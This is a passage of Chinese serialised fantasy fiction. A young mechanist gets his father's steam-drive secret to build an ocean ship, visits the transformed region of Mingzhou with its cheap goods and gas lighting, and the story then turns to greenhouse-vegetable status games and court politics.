庄父自然是不肯轻易同意,至于庄鱼为何要费尽心思告知父亲,主要是因为最核心的驱动装置被父亲藏了起来,且他不太懂这部分是如何制作的,若没有庄父教导的话,他可能得花费许多时间研究此事。 虽说庄鱼在这方面足够聪慧,但他不想浪费时间去研究父亲花费多年研究出来的东西,他只想说服父亲,最好能让父亲同意将此技术教会他。 起初,庄父死活不肯松口,在触及最核心的问题时,庄父冷笑:“黄口小儿也敢说出这话,你想出去探险?先不说出去了还能不能活着回来,你可有钱出去? 好日子才刚过了多久,这就又想着要出去送命?你忘了我们是为什么躲到了这里?” 庄鱼沉默片刻——他知道,他一直都知道,就像他的真名叫做墨玉,而非庄鱼。 而他们庄家也是墨家机关术的后裔之一,精通各类机关术。 但此身份却给他们带来了杀身之祸,躲躲藏藏十来年,最终在五年前来到这里才算是安稳下来。 “父亲请看。” 庄鱼拿出一万两银票给自家父亲看。 本以为自家小儿子是脑子不清醒,庄父本想挫挫他的锐气,结果在看到一万两银票后愣在原地。 ——这是真的银票他哪来的?偷的还是抢的? 眼看父亲的眼神即将变质,庄鱼赶紧解释,生怕解释晚了自己一会东一块西一块了。 而庄父则是在听到庄鱼所说后,完全陷入沉默和懵逼中 等等,说是突然出来一个神仙,然后给他这些钱,还说支持他出去探险? 不是,这都哪跟哪啊! 要不是有这银票作证,庄父真要怀疑庄鱼是不是得了臆症。 而庄鱼看着神情比想象中冷静。 “父亲,当初我们从黎州逃走后,原先那些人也都散了,但前不久我得到消息,他们其中很多人都过得很不好,距离家破人亡也就一步之遥。 既然前进后退都没什么活路,所以我想用仙人给的这钱建一艘大船,带着原先的人手从黎州出海,查探四周。” 后半句话他没说,但庄父知道他的意思,他打算出海,去看看海域附近到底有什么,看看附近有没有什么赚钱的路子,或者是什么稀罕的物品值得倒腾。 除了这最实际的利益驱使外,庄鱼不想一辈子屈居在这深山老林里,他不想让自己引以为豪的手艺埋没,更想让这手艺有所用。 且他先前就将父亲留下来的,以及祖上留下来的不少书籍翻来覆去的看,已然是研究得很透彻。 至少对于出海这方面。 “父亲,您知晓的,目前黎州的船只无法出海,若想出海,就必须要用到您的驱动。” 庄鱼看父亲处于发呆中,开始打苦情牌,大概便是他心意已决,若父亲不教他驱动的秘密,他便用那木船前往海外,哪怕葬身海底也无畏。 这话气得庄父很想扇他,但考虑到庄鱼的倔脾气真能干出这混账事,虽说气得眼前昏花,但又迫于无奈,为了庄鱼的身家性命,以及原先曾和他关系不错的老伙计们,他只能叹气,将驱动一事教给庄鱼。 当然,包括他多年研究出来的笔记心得,也一并给了他。 庄鱼立即翻看笔记,发现除了驱动之法,这上面还设计了船舶的防御,进攻装置,庄鱼略微一扫,比对一番自己对于船舶的设计后,不得不承认,他父亲的设计要更合理。 第315章 剧变 得了驱动的庄鱼简直如虎添翼。 如今他已有一万两白银的启动资金,计算一番,应当可以建造出一艘船只出来。 庄父在将笔记给了他以后叹气。 “你既然想出去那便去,但日后若是惹出祸来,别拖累你大哥和你娘。” 庄鱼如何能不知此事。 临走前,他跪下来给父亲磕了个头,毅然决然离开了。 庄父看着他的背影,转而又开始忙活手里的活计。 ——隔壁王二的摇摇车该做好了给他了,他家里生了个小娃娃,摇摇车正是需要。 另一旁,庄鱼已然带上包袱,先将驱动安装在河边的那艘船上,而后测试一番,发现没问题后上船开始操控船只。 走陆运不安全,且他没有马匹,中途不可控因素太多,除了流寇外还要担心被外面的官家捉走,但若是走水路的话,首先速度上能快一些,其次,可以按照当年他们走的水路那条路线重新返回,安全上没问题。 很快,这艘小船在平静的河流内穿梭着,直奔黎州。 一路上天气很好,不曾遇到狂风暴雨,如今正是四月中旬,是百姓们要下地耕种的季节。 庄鱼走的水路,其实看不到两岸到底是个什么状况,他只是用着指南针不断的调节方向,操控船只赶路。 那日仙人突然现身,让庄鱼惊讶一番后,便下定决心要外出探索,而后将探索回来的发现告知仙人。 额,虽说他不知道该怎么联络仙人,但往好处想想,仙人定知道如何联络他。 船只像是摆脱了线的风筝一样,沿着河流往前行进,加上驱动向前的推力,速度其实很快。 至少比大炎朝如今的船只速度快多了。 毕竟这驱动采用的是一套极为复杂的蒸汽带动机械推动的设计,若非庄父将其中要点告知给他,庄鱼自己琢磨也要浪费许多时间。 在船上的日子过得很快,庄鱼还要思索到了地方的后续工作。 ——他需要建造大船,弄一个更大的驱动,同时安装防御设施,不然在茫茫海面上岂不是无法保护自己? 等到船只到地方,庄鱼先是和父亲的老朋友会面,这些叔伯们早就不复记忆里的模样,个个看起来比原来老了不少,两鬓白发都已经开始生出来。 他们还带了自家孩子过来,有的甚至将家里孩子全都带来了。 庄鱼犹豫一会,还是将这航海的弊端告知众人,毕竟他也不晓得出去后能不能带来什么好物,亦或是能不能安全归来,若全家人跟他一起出海,要是全死了可怎么办? 但他的担忧很快就被更为苦涩的回应堵了回去。 “小鱼,别太担心我们,如今我们在这里也是半死不活的状态,孩子离了人也活不了多久,还不如跟着咱们一起,生死与共。” “放心吧,我们心里有数,该带的,不该带的,都有考虑过。” 对方话都说到这份上了,庄鱼再劝也不合适了,只能叹了口气同意了。 他们汇合的位置属于黎州边界靠近海岸的地方,这里比较危险,往常只有渔船会在附近浅海区域打渔。 同时靠近出海的地方也会有不少负责修缮维护船只的地点,而庄鱼一行人则是混迹其中,开始建造船舶。 这事瞒不过人,索性半真半假编造谎言。 他们对外说的是船是给一个大户做的,所以才会这般大,这附近也有建造船的小作坊,所以建造船舶并不算稀奇。 日子过得都艰苦,大部分人好奇过后便投入自己的生活,该打渔打渔,该修理修理,各司其职。 庄鱼一行人则是加快速度,想尽快将这船建出来。 因而大部分材料甚至是从附近别的造船小作坊弄来的,他们只负责制作最核心的驱动部分以及防御部分。 单是做这两部分,等到船建好后,前前后后也花了两个月,而后这艘船总算是顺利建成了。 出海的日子定下了,这日子是找人特意算过的好日子,出海的人都信这,庄鱼一行人也不意外。 一万两还有剩余的钱,和其余人商量后,他们决定将这点钱拿出一半去购买本地货物,毕竟不能空船走,若是日后遇到以物易物,他们没有东西也吃亏。 庄鱼和朗叔一并去了黎州的曲县,打算在曲县内采购一番。 话说庄鱼对黎州的印象还停留在五年前,那个时候黎州的确是有不少值得带出去的东西,不知道如今如何。 原计划,他们是打算购买一批布料,香料,器皿等物,毕竟这算得上是通用的硬通货。 但两人转悠一圈,朗叔很快就发现不太对劲。 市面上出现了珍贵的白糖,价值不菲,不像是以前的糖稀一样黏糊糊的,看起来就不爽利,这白糖看着很是爽利。 就是价格高。 两人难受了一会,正想咬咬牙买点时,就有个穿着打补丁衣服的人凑过去低声问他们。 “您这是想买白糖?这价格可贵呦!要不要花钱买消息?我这消息保准值。” 二人对视一眼,虽说警惕,但也想知道这人到底在说什么,看上去还神神秘秘得很。 于是花了点小钱,等听此人说买东西去明州境内,旗下的商铺内货物更新奇,价格更便宜时,两人顿觉这钱花得太亏了。 ——庄鱼能不知道这明州境内是个什么德行!这人竟然舞到了他面前,这钱决不能让他轻易赚了! 很快,庄鱼和朗叔一前一后制服了此人,他恶狠狠出声。 “骗鬼呢!我可是去过明州的,那里的地方我可知道是个什么情况,你还敢骗到了我们头上!把刚才的好处费交出来,不然我自己去拿!” 庄鱼年纪不大,但也是有经常锻炼过的,身手比普通人好许多,这人疼得哎呦哎呦,又忙开口。 “我没说谎啊!明州以前是不行,但现在神仙管控着明州,里面早都变了!” 本来庄鱼只当此人是为了自保胡言乱语,但等听到神仙二字后,顿时有些怀疑。 朗叔不曾听过什么神仙,也不知晓庄鱼身上遇到的事,倒是有些不信。 “小鱼,莫被此人误导了,进了明州可谓是要扒了一层皮才能出来,不可轻信!” 庄鱼不好解释,只能让这人仔细道来。 “如今的明州到底有何变化?” 朗叔虽说不认可听这人瞎编,但琢磨庄鱼没什么行走江湖的经验,今日不如就当一次现学的教训算了,也就不再阻拦。 这人眼看有机会解释,立即松了口气,给二人描绘起明州境内如今的变化。 将明州说得天上有地上无的,俨然一副明州是什么香饽饽的模样。 庄鱼听得很是怀疑,如今只当这人异想天开。 “就算如同你所说,这明州换了神仙统治,但其境内怎会出现这么多变化?这消息你从何而来?可曾亲眼去看过?” 说到这里,这人立马有些尴尬的摸鼻子。 “哎,我也是听我朋友说的,我这不是手头缺钱么,所以打算用这消息换些钱,好攒点去明州的盘缠。” 庄鱼简直要气笑了,不过这人先前收的钱并不多,思来想去,他还是对所谓的“明州目前是神仙庇护”一事耿耿于怀。 朗叔本想劝他别去了,但左右拗不过庄鱼,二人决定前往明州境内看看情况。 因此地位于两州交界处,所以赶路到最近的明州旗下只需要一日。 距离出海的日子还有一段时间,为了查探明州到底发生了什么,且为了给船舶内部添补可用的物资,二人决定进入明州境内一探高低。 至于先前给他们透露消息的人被二人放走,毕竟对方除了知道那点消息外,别的一概不知。 还不如他们自己过去看看。 等到第二日,二人开始前往目的地,直到下午,这才到了地方。 在看到这县域的第一眼,两人顿觉或许那人没说谎—— 别的不说,若还是原来的明州的话,门口不会有这么多来往行人和马车。 当初的明州臭名昭著,谁都会选择绕过这一地,而不是像是失了智一样凑过来上赶着送死。 为了安全,两人先躲在城门外看了半天,又找机会和来往路人打探消息,确定这明州如今的确是换了人管,两人互相看向对方,眼神都带了些不可思议。 尤其是庄鱼,走路都感觉地面软乎乎的,有些打漂。 ——他们躲了五年,这五年过去了,明州居然换了新人? 庄鱼努力回想起陈京行此人,只觉得这实在是魔幻。 不说别的,陈京行可能品行不行,但这人很聪慧,绝不是个好处理的敌人。 所以到底是如何做到的? 这玩意不进去打探,必定总也不清楚。明州如今发生了这么大的事,二人都觉得还是进去打探一番为好。 进城比想象中简单,这守城官兵似乎并不介意他们是黎州来的,竟然就将他们放进来了。 这便要说回先前,庄鱼一家人的户籍还在黎州,并不是明州人。 确定两人不是流民后,他们很快便进了城,而后便被这县内翻天覆地的变化吓了一跳。 ——靠,这入城的道修得这么宽阔? 两人扭头回去看牌子,确认这只是个小县城,并非都城后,觉得有些理解不能 额,所以这道路是不是修得太夸张了?就算是黎州都城,元城可能也就这水平了,但元城那可是都城,这只是明州境内的一小县城而已啊! 这东西已经有些超出认知,两人有些麻木的驾马往前走了一段,直到看到熙熙攘攘的街道,标价诡异的店铺,纷纷陷入呆滞。 第316章 麻了 街上熙熙攘攘,人流量密集,不夸张地说,庄鱼就算是五年前在黎州都不曾看到过这番有人气味的时候。 朗叔负责驾马的,这会也是瞪大眼睛,目不暇接的看着周围。 第一次遇到这完全超乎想象的一幕,两人均有些发愣,而后便是更为警惕的看向四周。 ——人群的脸部表情自然,有活人气息,不存在被迫或者是什么鬼神一说。 街道两旁不时的传出一阵阵香味和掌柜客户的交谈砍价声,看起来就像是普普通通的一个下午,人们走出家门,然后去挑选自己喜欢的,需要的货品。 但两人知道,这是不合理的。 起码,在这片土地上是不合理的。 在熟悉的地方发生不熟悉的,可以称之为诡异的一幕,两人一时半会又找不到破绽,只是觉得有种说不清道不明的陌生感和不真实感在逐渐酝酿。 庄鱼眼神很好,稍微隔着一些距离,倒也看清楚了那些店铺的货物价格。 他大致扫了一眼,发现不少货物价格还真如同那人所说,比黎州境下便宜许多。 眼神快速扫过这些货物,庄鱼心想得下来,将马车放个地方,然后好好看看货物质量才行。 稍微打听一番,两人先去了一家客栈,那里有专门负责收容马匹的地方。 马厩会负责给马匹喂点豆渣和水,让马匹快速恢复体力,同时的话,马匹也有个住的地方,不至于风餐露宿。 二人选择的客栈并不是什么大客栈,反正从门外看起来就是普普通通的客栈。 惊讶于这里服务还挺好,因还有重要的事,两人没耽误,赶紧出了门前去刚才那一片商铺。 等到到地方后,朗叔仔细看了看这里货物的价格,好一会儿才慢慢叹气感慨。 “好东西啊,比咱那好。” 庄鱼也顺带感受了一把,发现这里的器皿,布料的确要好于黎州旗下的商铺。 甚至他们发现,这里的布料颜色和质量酷似如今黎州连锁店的料子。 话说这连锁店,也是让庄鱼百思不得其解的一类店铺。 他们全家是五年前离开的,所以不曾知晓这所谓的连锁布料店一事,朗叔是地地道道待在本地好几年的人,对连锁布料店的发展也是稍有了解。 不过他只知道表面的,只以为是黎州某位大人物动的手脚,不然如何能收购得起那么多铺子,又如何能将布料铺设到全黎州,想来实力雄厚。 “别说,这布料摸起来和连锁铺内的料子很像,甚至要比那边更好一些,而且价格还更便宜,莫非这里是黎州连锁铺进货的地方?” 朗叔百思不得其解,一时间也只能安慰自己他们是误打误撞找到了布料的源头供货商了。 庄鱼抽空感慨了两句。 “还好没在黎州那边买,这边的价格比那边便宜了有两成呢。” 要知道他们买的量多,积少成多也是一笔巨款了,且这里或许要的量大还能讲价,估计下来会更便宜。 两人很快就和布料行的掌柜见了面,又对比了两家布料,最后选了一家定下来。 说好了明日过来拿货后,二人继续逛街,打算将带上船的物资都采购一番。 很快二人就被糖铺吸引了注意力。 ——对了,先前他们二人主要是为了这白糖而来,不知这里价格几何? 有了先前的经验,两人心想这玩意可能也是比外面便宜个两三成就到头了。 结果去了一看,在看清楚写的牌子后,二人觉得自己一时间看错了。 揉了揉眼睛,又死死盯着那价位看了半天,庄鱼不敢置信。 一斤白糖才二十多文? 啊?以前糖稀也不卖这个价格啊,话说,黎州城内的白糖价格起码翻了十倍,那边白糖可是奢侈品,他们想买都还要咬咬牙,想着稍微买点得了。 现在看到如此质优价廉的白糖,两人呆愣在原地,久久不能回神。 沉默过后,两人不再浪费时间,忙订购了一批白糖。 香料一类的话,他们也购入了一些。 除了硬通货外,他们还需要采购一些干粮,好能在船上吃喝用。 看来看去,两人发现此地有一类名叫“番薯干”的干货,价格便宜,饱腹感强,很适合他们购入。 且本地的粮食价格也比外面低,只不过同类粮食不允许购入太多,于是他们分开着采购一批,陆陆续续采购齐全。 临回客栈前,二人路过一家盐铺,心想要不要顺带买点盐得了,毕竟万一出海后遇到能用盐换取物资的机会呢? 要知道盐可是人生存下去的必备品啊。 去了一看,二人又再次被震惊到了。 ——啊,这这这细盐价格是不是太便宜了? 两文钱一斤? 庄鱼瞪大眼睛,试图理解眼前状况。 事实上,不仅仅是他,朗叔活了大半辈子,也头一次懵了。 不是,啥情况啊,为啥啊,这么便宜,简直完全没道理啊! 两人想破头都没能想明白,但这两文钱一斤的细盐品质看着就很高,二人几乎没犹豫,想要大批量购入。 结果便被拒绝了。 理由是个人用户不能大批量购入,必须要有官府开具的采购证才行。 若是个人采买的话,还得是本县居民,或者是有居住证的居民才能一次性购入一斤,若是临时人员,只允许购入二两。 庄鱼和朗叔面面相觑。 一人二两,这两个人才四两啊,这能有什么用? 但这玩意可是必需品,不仅仅是能卖,平时在海上也需要盐分。 但两人暂且不想和官府打交道,毕竟总觉得此地颇为诡异,只想采买后迅速离开。 于是两人断了前去官府开具什么采购证的心思,开始打探有没有别的办法。 这还真有。 “没有采购证想大批量购入的话,那就享受不到这两文一斤的价格了,得三十文一斤。” 掌柜的话传出来后,二人对视一眼,还是决定采买一批,毕竟外头的粗盐都卖得不便宜,更何况细盐。 且最为重要的是,若是这盐没卖出去,换出去,他们自己吃起来也方便,不需要来回捣碎粗盐。 虽说享受不到两文钱一斤的价格令人扼腕叹息,但三十文一斤对他们来说也是好价了。 等到一切采买完毕,天色已然陷入黄昏,二人心想得赶紧回去才是,急匆匆往回赶路时,路旁倒是纷纷亮了起来。 原先的朦胧昏暗被瞬间撕开,这灯照得四周亮如白昼。 起初灯亮时,两人都被刺激得眼泪狂流,好一会才揉了揉眼睛,缓了过来。 二人初次看到这照明灯具,心下惊诧不已。 ——这东西到底是何物?居然这么亮眼? 白日他们注意到了此物,只是以为这东西是什么装饰品,毕竟它们看上去是用琉璃做的,一打眼看过去,倒是很像某种装饰物。 起初二人还以为这是本地无声的炫耀,用来炫耀他们财力雄厚,但现在看来,这玩意压根就是个照明的。 庄鱼不用说,这五年在深山里,外面发生了什么都不知道,而朗叔虽说一直活跃,但他所处的阶层太靠下,而沼气灯如今只出现在黎州中上层被普遍应用,所以他不知道很正常。 两人观察一番,发现大部分居民对这照明一副稀松平常的模样,看来这灯存在的时间不短了。 也有人像他们一样惊诧,开始问了问路人此物之名。 两人路过听了一耳朵,知道了这东西叫做沼气灯。 路过的路人还挺热情,脸色还带了点自豪。 “看你这样像是外面来的?这便是沼气灯,用来夜晚照明用的。” 不明觉厉的外来人也是惊诧连连。 “小兄弟,这沼气灯看着很珍贵,这东西是特意造出来装点城内的?” 那路人笑出了声。“便宜得很。家家户户通了沼气管道,这灯具单卖外壳的话是一百文一盏灯,里面连接着自家管道,走的是每月的沼气费。” 全新的词汇冲击着几人的世界观。 不仅仅是外来人懵逼,偷听的庄鱼和朗叔也一脸懵。 啊,这些话怎么就感觉听不懂了呢? 那人又稍微解释了两句,因为有事便急匆匆走了。 眼看天色晚了,按照过往的经验,不适合在外面继续待下去,二人正打算打道回府,准备回去了看看能不能从客栈小二那边获得一些消息。 本是这么想的,结果路过一条街道,被里面浓厚的香味勾得来了好奇心。 因沼气灯的存在,即便是黑夜,也让人觉得这里很安全。 二人互相对视一眼,虽说白日的惊喜已经够多了,但两人还是决定再过去看看这是个什么情况。 沿着街道往里走了几步,很快映入眼帘的便是密密麻麻的小商贩们。 空气中弥漫着各种各样食物的香味,有油炸后的甜味,有焦烤的肉味,还有不少摊位上放着的各式各样的小零碎,有卖泥塑的,有卖灯笼的,还有卖糖画的,还有卖自家蔬菜的,逮的野味的,采摘的野物的,总归卖什么的都有。 经历过白天的冲击,早就麻木的两人接受能力显著上涨。 两人对视一眼,决心过去仔细瞧瞧才是。 一路走下来,除了关心这里卖的什么,价位几何外,两人越走越觉得腹中饥饿难耐。 尤其是四周的香味直往鼻子里钻,庄鱼艰难的分出一点余光去看人坐的满满的摊位,而后拉了拉一旁的朗叔。 “朗叔,咱们不如在这里吃点东西吧,省得回了客栈还要吃,想来客栈里的东西要比这里贵。” 两人带了不少钱,但那也是为了日后出海用的,不是用来搞个人奢侈消费的,在二人看来,眼下的摊位售卖的食物就很不错,便宜,闻起来也香。 第317章 选择 庄鱼的建议很合理,朗叔一时间找不到什么反对的理由。 二人寻了个稍微空了些的位置,刚坐下,自家桌子上就多了几个拼桌的。 对方看着十分自然熟,两人被迅速挤到一旁持沉默状 差不多得了,这在外面还是要低调一些,省得惹麻烦。 对方和他们说了两句话后,就开始和身边的人互相聊天。 两人也跟着听了几句,听闲话的功夫,小吃先给上来了。 此物是用切碎的番薯混合后炸出来的小饼,金黄色,稍微撒了点白霜一样的白糖。 价格不贵,几乎属于是人人都能买得起的,物美价廉的小吃。 除了此物外,他们还要了隔壁的酸辣粉和带汤的饺子,反正这一片的座位随便坐,这些商贩们都挨得很近,并不排斥带别人家的食物坐在这里吃东西。 庄鱼咬了一口炸得金黄酥脆的番薯饼,一口咬下去甜滋滋的,还“咯吱咯吱”的发出脆响。 确实味道很不错,竟也不腻人。 他在想别的——这炸物怎么卖这么便宜,好歹还要用油炸呢,这能赚钱么? 总归五年前的黎州都没有卖这么便宜的小摊位 朗叔喝了一口饺子汤,汤底应当是用大骨头熬的,很浓厚,还撒了些芫荽,味道很好。 价格也合适得紧,便宜得让人都感觉不到是在花钱。 与此同时,两人还能抽空在吃东西时听到同桌子上的几人说话谈论的内容。 “昨日狗三那老家伙赚了有三百文,以往不知道他手速那么快!” “啧啧啧,三百文确实不少,但我听有人说,那器械厂甚至日收四五百文了。” “真的假的?” “自是真的,这还有说假话的必要?不过你也还好啊,自己虽说赚得不多,嫂子好歹也找到了工作,最少也得有个日一百文吧?” “日百文那都是最低工资了,你嫂子挺能耐,进去了十来天,现在每天都能拿个两百文了。” “你小子,还羡慕狗三,要我说谁有你好,你们夫妻俩每天都得破五百文了吧,这是打算羡慕死我们啊,改天别忘了让嫂子好好分享分享是怎么进了那厂子的!” 几人说话用词都很接地气,庄鱼听得不自觉瞪大眼睛——啥啊,这怎么就日收这么高了,这地到底哪来赚这么多钱的机会啊! 话说回来,不是不让女子出去赚钱么?记得原先只能做些缝补活计,如今这规矩也废除了? 就很让人迷惑。 朗叔也好不到哪去。 两人互相对视一眼,均从对方脸上看出了浓厚的疑惑和不解。 旁边的人还在继续说,开始絮絮叨叨说着学堂的事,说完了又说工作上加班费的事,总归前前后后透露出不少庄鱼从未听过的东西出来。 ——啊?这都啥跟啥啊,加班费?还是正经工资的好几倍? 还有学堂现在也是普通百姓能上得起的了? 按照这几人说话的内容推测一番后,庄鱼觉得自己的推理能力倒退了很多倍。 很多东西他觉得自己推测的几乎像是不存在一样。 比如若是按照这些人所说,那岂不是人人都能上学,人人都有高薪资? 但这到底是怎么做到的?人有钱了会攒起来,怎么做才能完全带动百姓将赚到的钱再次投入进市场? 直到这些人离开,他和朗叔的东西也算是彻底吃完了。 两人面面相觑,这才回了客栈。 东西是味美好吃,但架不住听到的消息对二人的冲击力来得更大。 两人花了一点小钱,从客栈的小二那里得到了更详尽的消息。 ——全城实行扫盲制度,扫盲通过了才能参加工作,且工作的话,每日四个时辰,最低一百日收,节假日正常放假,城内学堂不限男女,不限背景年纪,一年仅需一两就足够用,且上班的人还能趁着下班后读书 不仅仅如此,本地大部分产业受官府把控,物资价格平稳,还开设了诸多厂子,需要劳动力前去工作,且本城一直在放出好用便捷的产物以供人们挑选购买,所以钱能够流通起来 这点钱可谓是花得异常值得,这小二看上去应当不是第一次被客人问了,表述流畅,似乎都不需要思考就能脱口而出,这也算是双方都占了便宜。 他们得到了完备的消息,小二得到了钱财。 虽说有些心理准备,但显然两人还是准备做少了。 这新消息还是给没有见识的二人产生了巨大的心理震撼,一时间,两人内心开始天人交战。 ——倒不是在犹豫要不要继续出海,而是在犹豫要不要让家人前往明州境内好生生活。 毕竟若真按照店小二所说,在入城后先进入扫盲班,有住的地方,还管吃,等从扫盲班毕业了,就算是找零工也能找到活计。 看来看去,相比于出海的高风险,还是进入明州境内更安全一些。 要知道当初出海的那些人中,也有一批是没有退路了,这才想着出去出海,而眼下进入明州境内便能求个生存,那就不用出海了,毕竟出海实在是危险。 说不定运气差点的就会葬身海底。 两人商量一番,决定明天再验证一番,若是靠谱,就将这新得的消息带回去,等到将消息带回去后,到时候再让其余人自己做选择即可。 人总是要自己选择未来的路的。 确定好明日计划后,二人先后洗漱,等看清楚这洗漱间的热水器和花洒后,两人还是惊了一瞬,但又一想本城内部的沼气管道都开通了,这洗浴不过是将水引入下水系统,还比铺设沼气管道简单,一时间庄鱼开始麻木的洗澡。 ——所以说,这外面现在发展的实在是太快了,他们才隐居了五年,外面如今早成了他看不懂的样子。 他考虑明天若是靠谱的话,他就给家人带回去一封信,最好让家里人也来城里,毕竟深山老林里各方面肯定还是不如城里方便,若非原先活得艰辛,谁愿意呆在老林子度日。 但庄鱼的话,出海还是要继续出海的,这是他的梦想,和眼下所看到的安稳毫不相关。 两者没有冲突性。 合眼睡觉。 第二日醒来后,吃了客栈独有的小菜,两人又打听一番,确定这明州如今确实是个好地方后,这会才多租了马车,开始前往来的地方。 这些马车有马夫,都是付了钱的,等到到地方后,他们会将明州的消息告知其余人,若是有想要前去明州的,只需要跟着这些马车一起回去即可,毕竟他们是付了来回车费的。 市场行情如此,若不给来回车费,这些马夫就要空车了,谁都不愿意空车,自然这钱要庄鱼他们出了。 也就是在黎州边界,没啥危险,这些马夫才会接这生意,再危险一些的话,他们可不敢为了钱做卖命生意,尤其是如今日子过得好了,大伙可惜命着哩! 次日。 翘首以待的众人总算等到了庄鱼和朗叔二人回来。 看他们身后还跟着马车,这会纷纷七手八脚开始卸货。 等看清楚买了什么货后,众人进了门,低声试探。 “怎么买了这么多东西,钱够用?” 好歹大伙也有在黎州生活的经验,都知道这笔物资花费不少。 眼下各个好奇得打紧。 庄鱼和朗叔对视一眼,这才将明州境内的剧变娓娓道来。 方方面面,说得仔细。 等到最后,庄鱼缓缓开口:“情况大概就是这么个情况,各位叔伯不如好好考虑一番。若想去明州境内的,今日将东西放在马车上,明日跟着马车一起回去。那钱都给完了。” 想了想后,庄鱼继续开口:“至于先前叔伯们为这艘船出的力,我也不会亏待叔伯们。 先前说的是日后出海利益按照功劳分配,现在的话,若想去明州的叔伯一会可以来我这里换成钱,好作为前去明州生活的盘缠。” ——亲兄弟明算账。 出海的风险和利润大伙都知道,原先是因为大家都要出海,所以才说利益按照功劳分配。 如今总会有人想去明州安稳度日的,这便没办法再按照原先的模式分配了,毕竟不能说靠着往日体力劳作就换取巨额的利润,如果这样的话,会造成其余出海人的不满。 现在因为关系不好说,日后时间长了,总会因为这件事闹矛盾,还不如现在就说清楚。 而且他给的钱肯定也是要远高于市场价的。 这对于想要安稳去明州生活的人也不亏。 出于对老朋友的情分,其余出海的人也能理解庄鱼所做的决定。 反正要庄鱼想的话,愿意跟着他出去的,大都是没什么顾虑的人,大都是自己一个人,或者是只有一个孩子,孩子也不愿意离开家人的类型。 至于愿意安稳的,自然是一大家子等着家里的顶梁柱出海赚点钱过日子的。 果然,在庄鱼说清楚话后,有三分之一的人表示他们要退出出海,打算前往明州。 这些人和庄鱼预料的差不多,大都是拖家带口的,少有一个人的。 毕竟是过往多年的老朋友,两方都能理解对方,在庄鱼拿出钱给了出去后,众人又帮忙着将他们的衣服被褥等物搬上马车。 当晚,庄鱼开了从明州境内带的美酒,众人挤在一起,热闹的做了不少菜,算作大伙出海前的最后一次聚餐。 众人抬高泥碗,里面是清亮的酒水。 粗糙的泥碗被同样粗糙的手掌紧握,下面是一双双带了点兴奋和分别悲伤的浑浊眼睛。 ——往后,只希望一切安好。 庄鱼咽下那点酒,喉咙和面颊开始慢慢发热,连带着心口也烫得他不由地伸手去碰。 第318章 钓鱼 黎州元城。 如今正值五月,天气俱佳。 城内大大小小,但凡是有些排面的人家都用上了昭华灯,净座二物,饮食上也多采用目前最为流行的反季节蔬果。 总之图的便是一个稀奇。 话说回来,这所谓的反季节蔬果目前便是靠着玻璃制作的暖棚栽种蔬果,而这事业被方知意委托给了业内熟手做事。 为了安全,暖棚建在黎州内各个偏僻之地,在兼顾方便和日后铺设的考量上,将黎州内部妥帖的分成了好几块。 而如今提前将蔬果卖出去,为的便是提前收货高昂的资金。 毕竟对黎州这些大户们,蔬果的价格可不像是明州境内的民生项目一样亲民,在这里,若想购入反季节蔬果,自然是要花费大价格的,还要事先预约登记。 赚来的钱轻松就将搭建暖棚的钱赚了回来,连带着将这些负责运营暖棚,售卖果蔬,上门送货的工人们的工资也涵盖齐全了。 除了能制造出大量的就业岗位外,暖棚产生的巨额利润,自然是被运输回了明州境内,用作其余民生事物上。 当然,不仅仅是黎州有此物,在幽州各地,这暖棚产出的蔬果更受欢迎。 幽州地带温度整体偏低,冬季几乎要占据一年一半的时间,这便意味着,有一半时间其实人们是吃不到新鲜蔬菜的。 也有大户会用磨薄了的云母,琉璃等制作暖房,自家也栽种一些冬日可吃的蔬果,但像是这类的顶级大户,实在是数量太少,大部分日子过得不错的大户也难以拿出那么多的精力和资源去培育蔬果。 如此一来,这暖棚在幽州其实比黎州更有搞头。 前来预定蔬果的大户们几乎没停过——如今在幽州,这能不能在冬天吃到新鲜蔬菜,已经关乎一个家族的体面与否了。 若是客人上门,吃食中不带点新鲜的蔬果,定要叫人瞧不起。 而最令人头疼的是,这蔬果并不是哪日有需求了想买就能买到的,这都是月初就将整个月的产出全部都定了出去,日后按照配额给每家每户送新鲜的过去。 这便是包月制度。 价格自然不菲。 这也就造成了若是突然有需求的话,根本无从弄到蔬果。 所以大部分人家为了体面,便只能忍痛将此项花费作为家中的必要开支,以应付每月偶有上门做客的客人。 对于他们来说,体面是最不能丢的,不单单是因为脸面,而是因为一旦被察觉到体面不再,便会默默被同等阶级的人排斥在外,日后各方面都会受阻。 人都是捧高踩低的,越是不堪,对方越是不惧,反而越容易被当成围攻的目标。 尽管这蔬果花费不小,但自从这一年到头都要新鲜蔬果的风气流传开来后,几乎所有叫得上号的人家只能半被迫接受这项潜移默化的流行,也不得不咬牙将这笔花销计算在必备花销内。 普通百姓没这样的困扰,在黎州和幽州,他们甚至都接触不到这些暖棚作物,偶有在大户人家内当值的丫鬟小厮们,才得以窥探这天宫一角。 可以说,为了追捧顶层人的享受项目,中层可谓是费尽心思追赶,模仿,尽量和对方找到共同的话题。 当然,这其中也是有鄙视链的。 自家有暖棚的鄙视在外采买的,在外采买的鄙视拼团购入的,拼团购入的鄙视没钱上车的,没钱上车的鄙视连这消息都不知道的。 总归各有各的高傲。 话说回来,这拼团购入倒是有意思。 一般就是家里不具备采购一个月的实力,但又拼尽全力不想掉落本阶层的人家。 这些人家暗中聚集起来,拼着买。 今日你家有事,那便使用今日的份额,这需要记在一个特殊的本子上。 明日他家有事,那便也按照这样去做。 一个月一计算,按照比例分摊。 这无疑减轻了不少压力,但这事必须要藏的死死的,不然说出去让人笑掉大牙。 一般采取拼团的人家都是本就关系好的,不会乱说话的,有利益绑定的,一荣俱荣,一耻俱耻。 这么操作一番,还真被这些人找到了拼团的正确使用方式。 这么做的人有不少,但这对暖棚那边的生意又没影响,反正本来暖棚作物就是要找买家,至于谁要东西,又怎么分配,暖棚完全不关心这些。 且送货都是送到一家,而拼团的人家会派人过去悄悄拿,所以送货这点也是毫无影响。 暖棚又额外扩大了规模,毕竟客户太多,在仙师还未曾一统前,这可都是实打实的利润啊! 而于此同时,黎州元城。 不出意料的,杨舒肩上的担子被卸了下来。 自从明州被风仙县的县令占据后,这出使的事就轮不到他来做了。 而至于安排自己的心腹前去,不说别人,五人每个人都不放心对方,撕吧来撕吧去,最后还是决定让张绯去。 ——反正好处若不是自己得了,那还不如把桌子都给扬了,谁也别想着偷吃一口! 张绯自从受到多年前的教训后,圆滑得像泥鳅一样,游走在五人间。 不偏袒任何一人,只有在他们利益一致,对外的情况下才会做他们手里的刀。 倒是聪明。 毕竟五人需要一个在他们中间,完全处于中立位置的人。 不然很多事就找不到人来做了。 于是,不出意料,这活计被安排到了张绯头上。 